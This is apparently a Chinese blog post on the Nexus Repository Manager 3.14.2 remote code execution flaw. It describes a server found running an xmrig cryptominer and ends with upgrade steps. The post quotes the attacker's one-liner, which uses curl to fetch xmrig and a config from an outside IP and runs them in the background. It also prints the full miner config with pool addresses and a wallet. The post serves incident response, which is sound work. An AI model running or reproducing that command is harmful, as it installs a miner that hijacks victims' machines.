Sonatype Nexus Repository Manager版本3.14.2訪問控制缺失及遠程代碼執行漏洞
阿新 • • 發佈：2019-03-15
class trie repo 新版 chm access tex ali live
發現被執行的程序在xmrig在 /var/tmp/目錄下
curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o /var/tmp/config.json http://202.144.193.159/22.json;chmod 777 /var/tmp/xmrig;cd /var/tmp;setsid ./xmrig -c config.json &
config.json內容如下：
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": true, "colors": true, "cpu-affinity": null, "cpu-priority": 5, "donate-level": 1, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 95, "pools": [ { "url": "202.144.193.8:80", "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", "pass": "x","rig-id": null, "nicehash": false, "keepalive": true, "variant": -1, "tls": false, "tls-fingerprint": null }, { "url": "185.161.70.34:3333", "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": true, "variant": -1, "tls": false, "tls-fingerprint": null }, { "url": "202.144.193.110:3333", "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": true, "variant": -1, "tls": false, "tls-fingerprint": null }, { "url": "205.185.122.99:3333", "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": true, "variant": -1, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": { "cn": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "cn-lite": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "cn-heavy": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ] }, "algo-perf": { "cn": 2.0, "cn/2": 2.0, "cn/msr": 2.0, "cn-lite": 2.0, "cn-heavy": 2.0 }, "calibrate-algo": false, "calibrate-algo-time": 10, "user-agent": null, "syslog": false, "watch": false }
還有一個可 執行的程序
xrmrig,此程序會 導致cpu爆滿
刪除/var/tmp/目錄下的文件，然後把 程序升級 ，用docker安裝的升級如下：
docker pull docker.io/sonatype/nexus3 //會自動拉去最新版本 docker run -d -p 8081:8081 -p 5000:5000 --name nexus3 -v /root/nexus-data/:/nexus-data/ --restart=always sonatype/nexus3
Sonatype Nexus Repository Manager版本3.14.2訪問控制缺失及遠程代碼執行漏洞